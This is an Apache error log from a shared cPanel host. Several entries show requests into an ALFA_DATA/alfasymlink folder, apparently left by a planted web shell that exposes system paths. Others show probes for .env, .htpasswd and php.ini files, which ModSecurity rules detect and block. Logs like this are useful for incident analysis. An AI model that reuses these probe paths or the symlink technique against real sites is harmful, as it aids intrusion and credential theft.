[Sun Oct 25 14:30:34.181798 2026] [ssl:error] [pid 2880789:tid 2880789] (70014)End of file found: [client 44.221.180.179:5675] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:30:38.282246 2026] [ssl:error] [pid 2880796:tid 2880796] (70014)End of file found: [client 52.45.15.233:29675] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:30:40.605581 2026] [core:error] [pid 2880771:tid 2880771] (13)Permission denied: [client 85.208.96.212:40910] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/sanity_checks
[Sun Oct 25 14:30:46.163291 2026] [ssl:error] [pid 2880754:tid 2880754] (70014)End of file found: [client 3.235.215.92:25245] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:30:58.151298 2026] [ssl:error] [pid 2880789:tid 2880789] (70014)End of file found: [client 52.205.222.214:36951] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:31:01.500660 2026] [core:error] [pid 2880796:tid 2880796] (13)Permission denied: [client 185.191.171.2:58212] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-4k/slabs_cpu_partial
[Sun Oct 25 14:31:14.152955 2026] [ssl:error] [pid 2880768:tid 2880768] (70014)End of file found: [client 34.239.85.139:20094] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:31:26.280993 2026] [ssl:error] [pid 2880769:tid 2880769] (70014)End of file found: [client 98.82.39.241:23989] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:31:42.140711 2026] [ssl:error] [pid 2880797:tid 2880797] (70014)End of file found: [client 100.27.153.9:22150] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:31:46.194710 2026] [ssl:error] [pid 2880768:tid 2880768] (70014)End of file found: [client 23.23.99.55:50441] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:31:54.160402 2026] [ssl:error] [pid 2880769:tid 2880769] (70014)End of file found: [client 54.204.62.163:56522] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:31:55.834161 2026] [core:error] [pid 2880789:tid 2880789] (13)Permission denied: [client 85.208.96.205:20794] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sbin/csf
[Sun Oct 25 14:31:58.155816 2026] [ssl:error] [pid 2880796:tid 2880796] (70014)End of file found: [client 52.71.203.206:22777] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:32:02.183141 2026] [ssl:error] [pid 2880771:tid 2880771] (70014)End of file found: [client 44.194.139.149:34149] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:32:06.163315 2026] [ssl:error] [pid 2880779:tid 2880779] (70014)End of file found: [client 52.3.156.186:25480] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:32:10.171505 2026] [ssl:error] [pid 2880797:tid 2880797] (70014)End of file found: [client 100.24.167.60:60611] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:32:30.298715 2026] [ssl:error] [pid 2880771:tid 2880771] (70014)End of file found: [client 3.216.86.144:33856] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:32:38.186176 2026] [ssl:error] [pid 2880797:tid 2880797] (70014)End of file found: [client 34.231.77.232:53221] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:32:47.342306 2026] [core:error] [pid 2880769:tid 2880769] (13)Permission denied: [client 185.191.171.16:28814] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/alloc_calls
[Sun Oct 25 14:32:54.191216 2026] [ssl:error] [pid 2880789:tid 2880789] (70014)End of file found: [client 52.5.232.250:61964] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:32:58.163206 2026] [ssl:error] [pid 2880771:tid 2880771] (70014)End of file found: [client 52.2.58.41:43285] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:33:06.150962 2026] [ssl:error] [pid 2880779:tid 2880779] (70014)End of file found: [client 23.21.228.180:10909] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:33:26.203364 2026] [core:error] [pid 2880796:tid 2880796] (13)Permission denied: [client 54.84.147.79:15100] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory22/node0/memory2/node0/cpu1/driver/cpu1/firmware_node/physical_node/subsystem/drivers/processor/bind
[Sun Oct 25 14:33:34.214395 2026] [ssl:error] [pid 2880797:tid 2880797] (70014)End of file found: [client 54.204.12.115:60684] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:33:38.161951 2026] [ssl:error] [pid 2880768:tid 2880768] (70014)End of file found: [client 52.54.157.23:35876] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:33:54.229036 2026] [ssl:error] [pid 2880771:tid 2880771] (70014)End of file found: [client 18.213.240.226:24720] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:33:55.861279 2026] [core:error] [pid 2880796:tid 2880796] (13)Permission denied: [client 185.191.171.11:21264] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/intel_rapl_msr/sections/__mcount_loc
[Sun Oct 25 14:34:02.155612 2026] [ssl:error] [pid 2880773:tid 2880773] (70014)End of file found: [client 100.28.44.58:20937] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:34:06.149376 2026] [core:error] [pid 2880789:tid 2880789] (13)Permission denied: [client 34.206.193.60:10850] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty63/subsystem/ttyS0/port
[Sun Oct 25 14:34:14.145520 2026] [core:error] [pid 2880779:tid 2880779] (13)Permission denied: [client 50.17.193.48:16992] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/memory19/subsystem/drivers_probe
[Sun Oct 25 14:34:18.271665 2026] [ssl:error] [pid 2880768:tid 2880768] (70014)End of file found: [client 34.225.243.131:22699] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:34:30.143862 2026] [ssl:error] [pid 2880754:tid 2880754] (70014)End of file found: [client 54.159.98.248:35793] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:34:38.355687 2026] [ssl:error] [pid 2880771:tid 2880771] (70014)End of file found: [client 34.196.6.199:9950] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:34:46.415676 2026] [ssl:error] [pid 2880797:tid 2880797] (70014)End of file found: [client 184.72.95.195:25800] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:34:50.138853 2026] [core:error] [pid 2880768:tid 2880768] (13)Permission denied: [client 54.225.199.17:11968] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty63/subsystem/ttyS1/close_delay
[Sun Oct 25 14:34:58.146579 2026] [ssl:error] [pid 2880769:tid 2880769] (70014)End of file found: [client 52.200.93.170:9751] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:35:06.181446 2026] [ssl:error] [pid 2880779:tid 2880779] (70014)End of file found: [client 44.194.134.53:59363] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:35:22.153268 2026] [ssl:error] [pid 2880771:tid 2880771] (70014)End of file found: [client 52.200.251.20:17991] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:35:26.151107 2026] [ssl:error] [pid 2880796:tid 2880796] (70014)End of file found: [client 52.45.29.57:36373] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:35:34.141824 2026] [ssl:error] [pid 2880769:tid 2880769] (70014)End of file found: [client 44.215.61.66:33073] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:36:00.799914 2026] [core:error] [pid 2880797:tid 2880797] (13)Permission denied: [client 185.191.171.18:27950] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_transaction_s/min_partial
[Sun Oct 25 14:36:10.154387 2026] [core:error] [pid 2880798:tid 2880798] (13)Permission denied: [client 34.195.60.66:9993] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory12/node0/memory19/subsystem/uevent
[Sun Oct 25 14:36:22.143661 2026] [core:error] [pid 2880771:tid 2880771] (13)Permission denied: [client 3.216.86.144:28248] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/driver/remove_id
[Sun Oct 25 14:36:26.170895 2026] [core:error] [pid 2880779:tid 2880779] (13)Permission denied: [client 54.204.62.163:25394] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/device:06/physical_node/resource0
[Sun Oct 25 14:36:30.182543 2026] [ssl:error] [pid 2880796:tid 2880796] (70014)End of file found: [client 44.223.116.149:4145] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:36:42.170533 2026] [ssl:error] [pid 2880798:tid 2880798] (70014)End of file found: [client 34.225.87.80:60625] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:36:54.151367 2026] [ssl:error] [pid 2880754:tid 2880754] (70014)End of file found: [client 54.85.126.86:34659] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:36:58.151658 2026] [ssl:error] [pid 2880797:tid 2880797] (70014)End of file found: [client 107.20.224.184:30675] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:37:02.160293 2026] [ssl:error] [pid 2880769:tid 2880769] (70014)End of file found: [client 3.212.86.97:13258] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:37:06.193045 2026] [ssl:error] [pid 2880798:tid 2880798] (70014)End of file found: [client 3.218.103.254:62036] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:37:22.167705 2026] [ssl:error] [pid 2880768:tid 2880768] (70014)End of file found: [client 98.84.60.17:44898] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:37:29.485473 2026] [core:error] [pid 2880769:tid 2880769] (13)Permission denied: [client 185.191.171.3:64876] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/mailhelo
[Sun Oct 25 14:37:30.194657 2026] [core:error] [pid 2880771:tid 2880771] (13)Permission denied: [client 52.1.157.90:40811] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input3/subsystem/input0/event0/subsystem/input1/event1/device/device/drvctl
[Sun Oct 25 14:37:34.759981 2026] [core:error] [pid 2880754:tid 2880754] (13)Permission denied: [client 85.208.96.202:31816] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6_mrt_cache/red_zone
[Sun Oct 25 14:37:45.949802 2026] [core:error] [pid 2880768:tid 2880768] (13)Permission denied: [client 185.191.171.13:45816] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/usersize
[Sun Oct 25 14:37:50.901179 2026] [core:error] [pid 2880769:tid 2880769] (13)Permission denied: [client 23.21.179.27:39475] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/devices/0000:00:03.0/firmware_node/physical_node/resource4_wc
[Sun Oct 25 14:37:58.494679 2026] [ssl:error] [pid 2880798:tid 2880798] (70014)End of file found: [client 52.71.216.196:35509] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:38:10.223657 2026] [ssl:error] [pid 2880789:tid 2880789] (70014)End of file found: [client 98.84.200.43:39148] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:38:10.223855 2026] [security2:error] [pid 2880789:tid 2880789] [client 98.84.200.43:39148] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:01/PNP0F13:00/hid"] [unique_id "at5MkngFQMGvpHXnWRNuqwAAAB8"]
[Sun Oct 25 14:38:10.223887 2026] [security2:error] [pid 2880789:tid 2880789] [client 98.84.200.43:39148] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:01/PNP0F13:00/hid"] [unique_id "at5MkngFQMGvpHXnWRNuqwAAAB8"]
[Sun Oct 25 14:38:14.284529 2026] [ssl:error] [pid 2880797:tid 2880797] (70014)End of file found: [client 35.171.141.42:16903] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:38:22.341251 2026] [ssl:error] [pid 2880771:tid 2880771] (70014)End of file found: [client 44.221.227.90:36109] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:38:26.804988 2026] [ssl:error] [pid 2880773:tid 2880773] (70014)End of file found: [client 52.6.232.201:62910] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:38:30.493096 2026] [ssl:error] [pid 2880798:tid 2880798] (70014)End of file found: [client 44.196.118.6:50308] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:38:46.282400 2026] [ssl:error] [pid 2880797:tid 2880797] (95)Operation not supported: [client 44.215.61.66:33287] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:39:10.279870 2026] [ssl:error] [pid 2880779:tid 2880779] (70014)End of file found: [client 52.204.37.237:34263] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:39:18.284457 2026] [ssl:error] [pid 2880797:tid 2880797] (70014)End of file found: [client 34.224.132.215:26061] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:39:43.514985 2026] [ssl:error] [pid 2880796:tid 2880796] (70014)End of file found: [client 50.16.248.61:48100] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:39:50.340600 2026] [ssl:error] [pid 2880768:tid 2880768] (70014)End of file found: [client 52.4.238.8:50275] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:40:02.552741 2026] [ssl:error] [pid 2880754:tid 2880754] (70014)End of file found: [client 100.29.107.38:15719] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:40:06.411911 2026] [ssl:error] [pid 2880779:tid 2880779] (70014)End of file found: [client 52.54.249.218:19554] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:40:24.829829 2026] [authz_core:error] [pid 2880771:tid 2880771] [client 100.54.194.69:37278] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 14:40:26.352274 2026] [ssl:error] [pid 2880773:tid 2880773] (70014)End of file found: [client 34.204.150.196:19522] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:40:30.416522 2026] [core:error] [pid 2880798:tid 2880798] (13)Permission denied: [client 52.205.141.124:62152] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/crash_notes
[Sun Oct 25 14:40:38.398526 2026] [core:error] [pid 2880789:tid 2880789] (13)Permission denied: [client 100.28.44.58:18059] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/resource2
[Sun Oct 25 14:40:50.439401 2026] [core:error] [pid 2880769:tid 2880769] (13)Permission denied: [client 50.19.102.70:5868] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:16/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/resource4_wc
[Sun Oct 25 14:40:54.352089 2026] [core:error] [pid 2880771:tid 2880771] (13)Permission denied: [client 52.200.251.20:55283] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.2/subsystem/devices/0000:00:01.3/i2c-0/new_device
[Sun Oct 25 14:40:58.357790 2026] [ssl:error] [pid 2880773:tid 2880773] (70014)End of file found: [client 98.83.8.142:34358] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:41:02.584002 2026] [ssl:error] [pid 2880798:tid 2880798] (70014)End of file found: [client 184.73.195.18:28274] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:41:06.721695 2026] [ssl:error] [pid 2880779:tid 2880779] (70014)End of file found: [client 23.21.175.228:43906] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:41:11.519217 2026] [ssl:error] [pid 2880789:tid 2880789] (70014)End of file found: [client 54.92.171.106:7362] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:41:18.666313 2026] [ssl:error] [pid 2880797:tid 2880797] (70014)End of file found: [client 54.84.93.8:6321] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:41:22.545096 2026] [ssl:error] [pid 2880769:tid 2880769] (70014)End of file found: [client 52.3.26.180:60634] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:41:47.717279 2026] [ssl:error] [pid 2880754:tid 2880754] (70014)End of file found: [client 85.208.96.201:28720] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:41:50.423649 2026] [ssl:error] [pid 2880779:tid 2880779] (70014)End of file found: [client 35.169.119.108:4988] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:41:55.258021 2026] [authz_core:error] [pid 2880789:tid 2880789] [client 64.210.64.114:39210] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Sun Oct 25 14:42:02.614814 2026] [ssl:error] [pid 2880771:tid 2880771] (70014)End of file found: [client 52.203.68.145:13650] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:42:06.487710 2026] [security2:error] [pid 2880773:tid 2880773] [client 52.6.5.24:7024] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.2/subsystem/devices/0000:00:04.0/driver/"] [unique_id "at5Nfm-zzrnLViXtlwWgZAAAABg"]
[Sun Oct 25 14:42:06.487768 2026] [security2:error] [pid 2880773:tid 2880773] [client 52.6.5.24:7024] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.2/subsystem/devices/0000:00:04.0/driver/"] [unique_id "at5Nfm-zzrnLViXtlwWgZAAAABg"]
[Sun Oct 25 14:42:10.644627 2026] [core:error] [pid 2880798:tid 2880798] (13)Permission denied: [client 54.162.69.192:52504] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/devices/0000:00:04.0/firmware_node/physical_node/resource4_wc
[Sun Oct 25 14:42:22.509871 2026] [core:error] [pid 2880797:tid 2880797] (13)Permission denied: [client 52.73.6.26:57003] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/firmware_node/subsystem/drivers/button/bind
[Sun Oct 25 14:42:42.293544 2026] [ssl:error] [pid 2880798:tid 2880798] (70014)End of file found: [client 85.208.96.195:42650] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:42:42.585803 2026] [ssl:error] [pid 2880754:tid 2880754] (70014)End of file found: [client 54.84.250.51:60854] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:42:46.489452 2026] [core:error] [pid 2880779:tid 2880779] (13)Permission denied: [client 34.234.200.207:12508] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/piix4_smbus/bind
[Sun Oct 25 14:42:50.759337 2026] [ssl:error] [pid 2880796:tid 2880796] (70014)End of file found: [client 3.230.224.6:10006] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:43:03.862296 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.118.177.189:60852] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/"] [unique_id "at5NtznLqNfi2M7PPfhIvAAAABo"]
[Sun Oct 25 14:43:03.862696 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.118.177.189:60852] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/"] [unique_id "at5NtznLqNfi2M7PPfhIvAAAABo"]
[Sun Oct 25 14:43:03.862983 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.118.177.189:60852] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/"] [unique_id "at5NtznLqNfi2M7PPfhIvAAAABo"]
[Sun Oct 25 14:43:03.939615 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.118.177.189:60852] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/compose.yaml"] [unique_id "at5NtznLqNfi2M7PPfhIvgAAABo"]
[Sun Oct 25 14:43:03.939656 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.118.177.189:60852] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/compose.yaml"] [unique_id "at5NtznLqNfi2M7PPfhIvgAAABo"]
[Sun Oct 25 14:43:03.987659 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/"] [unique_id "at5Nt3NQSJj6g_R4pvfwmAAAABI"]
[Sun Oct 25 14:43:03.988175 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/"] [unique_id "at5Nt3NQSJj6g_R4pvfwmAAAABI"]
[Sun Oct 25 14:43:03.988454 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/"] [unique_id "at5Nt3NQSJj6g_R4pvfwmAAAABI"]
[Sun Oct 25 14:43:04.047971 2026] [authz_core:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60864] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/hoteles1/.htpasswd
[Sun Oct 25 14:43:04.269604 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at5NuMAxLusXGhv5UJnA3wAAABE"]
[Sun Oct 25 14:43:04.269846 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at5NuMAxLusXGhv5UJnA3wAAABE"]
[Sun Oct 25 14:43:04.270213 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at5NuMAxLusXGhv5UJnA3wAAABE"]
